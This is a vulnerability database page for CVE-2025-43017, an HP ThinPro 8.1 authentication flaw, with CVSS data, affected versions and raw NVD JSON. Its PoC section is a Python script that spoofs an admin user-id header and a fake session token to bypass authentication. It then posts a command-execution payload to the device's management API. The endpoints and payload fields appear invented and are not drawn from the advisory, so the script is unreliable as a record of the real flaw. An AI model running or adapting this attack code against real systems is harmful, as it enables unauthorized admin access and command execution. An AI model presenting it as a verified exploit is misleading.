Security Vulnerability Report
中文
CVE-2025-43017 CVSS 9.8 CRITICAL

CVE-2025-43017

Published: 2025-10-28 21:15:38
Last Modified: 2026-01-21 20:21:56

Description

HP ThinPro 8.1 System management application failed to verify user's true id. HP has released HP ThinPro 8.1 SP8, which includes updates to mitigate potential vulnerabilities.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:hp:thinpro:8.1:sp2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:hp:thinpro:8.1:sp3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:hp:thinpro:8.1:sp4:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:hp:thinpro:8.1:sp5:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:hp:thinpro:8.1:sp6:*:*:*:*:*:* - VULNERABLE
HP ThinPro 8.1 SP7及之前版本
HP ThinPro 8.1 < SP8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43017 PoC - HP ThinPro 8.1 Authentication Bypass # This PoC demonstrates the authentication bypass in HP ThinPro 8.1 System Management import requests import sys TARGET_HOST = "http://target-hp-thinpro-device" VULN_ENDPOINT = "/api/system/management" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-43017""" print(f"[*] Testing target: {target}") # Step 1: Attempt to access protected endpoint without authentication headers = { "User-Agent": "HP-ThinPro-Security-Scanner/1.0", "X-User-Id": "admin", # Manipulated user identifier "X-Session-Token": "fake_session_token", # Fake session "Content-Type": "application/json" } try: # Attempt to access admin functionality response = requests.get(f"{target}{VULN_ENDPOINT}/users", headers=headers, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200 and "user" in response.text.lower(): print("[!] VULNERABLE: Authentication bypass successful!") print(f"[!] Response preview: {response.text[:200]}...") return True else: print("[*] Target may not be vulnerable or endpoint not found") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False def exploit_admin_access(target): """Attempt to exploit admin access after bypass""" print("\n[*] Attempting to exploit admin access...") # Try to execute system commands via management API exploit_payload = { "action": "execute_command", "command": "whoami", "user_id": "admin" } headers = { "X-User-Id": "admin", "Content-Type": "application/json" } try: response = requests.post(f"{target}{VULN_ENDPOINT}/execute", json=exploit_payload, headers=headers, timeout=10) if response.status_code == 200: print("[!] Command execution successful!") print(f"[!] Output: {response.text}") except Exception as e: print(f"[*] Exploitation attempt failed: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST vulnerable = check_vulnerability(target) if vulnerable: exploit_admin_access(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43017", "sourceIdentifier": "[email protected]", "published": "2025-10-28T21:15:37.793", "lastModified": "2026-01-21T20:21:55.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HP ThinPro 8.1 System management application failed to verify user's true id. HP has released HP ThinPro 8.1 SP8, which includes updates to mitigate potential vulnerabilities."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hp:thinpro:8.1:sp2:*:*:*:*:*:*", "matchCriteriaId": "EA354C92-93B8-4683-989F-BEF60F1AC82E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hp:thinpro:8.1:sp3:*:*:*:*:*:*", "matchCriteriaId": "1A09690E-88F9-474C-A077-EEC14D8B5E59"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hp:thinpro:8.1:sp4:*:*:*:*:*:*", "matchCriteriaId": "65D6E120-98D8-413A-91CF-AC5166E6C7E6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hp:thinpro:8.1:sp5:*:*:*:*:*:*", "matchCriteriaId": "261A9B99-8C3C-43B0-9DB9-D8F2A3E83C7B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hp:thinpro:8.1:sp6:*:*:*:*:*:*", "matchCriteriaId": "8F0E012B-0867-4CF2-9869-4C238D132A59"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hp:thinpro:8.1:sp7:*:*:*:*:*:*", "matchCriteriaId": "E6C6148F-662D-4FCA-8F19-6BB1B6B056BE"}]}]}], "references": [{"url": "https://support.hp.com/us-en/document/ish_13164593-13164617-16/hpsbhf04066", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}